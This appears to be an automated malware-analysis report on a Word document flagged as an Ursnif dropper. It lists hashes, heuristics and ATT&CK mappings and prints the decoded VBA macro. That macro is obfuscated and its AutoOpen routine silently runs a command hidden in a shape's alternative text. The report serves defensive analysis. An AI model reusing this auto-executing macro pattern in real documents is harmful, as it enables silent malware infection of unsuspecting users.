Ursnif — Office (OLE) malware analysis

Static analysis result for SHA-256 55df3a5cf03f2b82…

MALICIOUS

Office (OLE)

68.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 3af9b4d45c471dea5dec64a20481ced2 SHA-1: b805ec35fd29a285b1f85770716f4372512aaf7d SHA-256: 55df3a5cf03f2b821c0a851c5041fb11935afb5d97a13f4e6d00108809493d83
142 Risk Score

Malware Insights

Ursnif · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Dropper.Ursnif-6864686-0, indicating it is likely part of the Ursnif family. The presence of a VBA macro with an AutoOpen function, as flagged by multiple heuristics, suggests it is designed to execute automatically upon opening. The script's `Interaction.Shell` call, using the `arXvaFdN` variable which is assigned the `AlternativeText` of a shape, indicates it attempts to download and execute a second-stage payload.

Heuristics 5

  • ClamAV: Doc.Dropper.Ursnif-6864686-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Ursnif-6864686-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1440 bytes
SHA-256: 77ea5e0898b5ef4511fc2a3168e2da3daa905623d628a182c4947992a73f65ba
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "dzolyha"
Function ksid()

Dim blumyxerac As Integer
Dim vsid As Long
blumyxerac = 7581# - 8384#
Dim rSadi As Variant
rSadi = blumyxerac - 3163#







Dim cluqofegah As Integer
Dim kveqyfemota As Long
cluqofegah = 8534# - 1487#
Dim ccora As Variant
ccora = cluqofegah - 9428#

Set ksid = ActiveDocument.Shapes(2)





End Function
Sub AutoOpen()

Dim kzevivyn As Integer
Dim bnahijeqe As Long
kzevivyn = 5223# - 3427#
Dim juKguHs As Variant
juKguHs = kzevivyn - 6082#





Set UClOo = ksid

arXvaFdN = ksid.AlternativeText

Dim llyboti As Integer
Dim rsusyj As Long
llyboti = 3217# - 3826#
Dim pjycaryrej As Variant
pjycaryrej = llyboti - 5402#

Dim EruMOC As Integer
Dim pnavuqyku As Long
EruMOC = 7239# - 3222#
Dim fguna As Variant
fguna = EruMOC - 8777#

Interaction.Shell@ _
arXvaFdN, vbHide



Dim apdoGjQW As Integer
Dim fhigewanaca As Long
apdoGjQW = 6999# - 5042#
Dim kGjTwIhw As Variant
kGjTwIhw = apdoGjQW - 8894#

Dim jzEif As Integer
Dim tZYtCXC As Long
jzEif = 3418# - 8120#
Dim pzixafydofa As Variant
pzixafydofa = jzEif - 6973#



End Sub